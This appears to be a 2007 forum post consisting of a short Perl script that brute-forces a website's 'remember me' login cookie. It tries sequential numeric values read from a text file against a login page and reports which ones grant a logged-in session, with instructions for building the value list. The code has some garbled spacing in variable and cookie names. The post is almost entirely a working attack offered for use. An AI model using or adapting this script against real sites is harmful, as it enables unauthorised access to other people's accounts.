zbeng Posted July 3, 2007 Report Share Posted July 3, 2007 use LWP::UserAgent;use HTTP::Cookies;$ua = new LWP::UserAgent;$jar = HTTP::Cookies->new();$ua->cookie_jar($jar);open FH, "gudang_cookie.txt";while (<FH>) {$ cookie_new = $_;chomp $cookie_new;$jar->set_cookie(1, remember Me => $cookie_new, "/", "xxx.xxx.xxx.xxx");$req = new HTTP::Request GET => "http://blabla/login.php";$res = $ua->request($req);$html = $res->content;if($html =~ /Wellcome/) {print "cookie " .$cookie_new. " U S E D ! \n"; }else {print "cookie " .$cookie_new. " WRONG !! \n";}}and U must creat :1234567891011121314etcand safe in txt > "gudang_cookie.txt" Quote Link to comment Share on other sites More sharing options...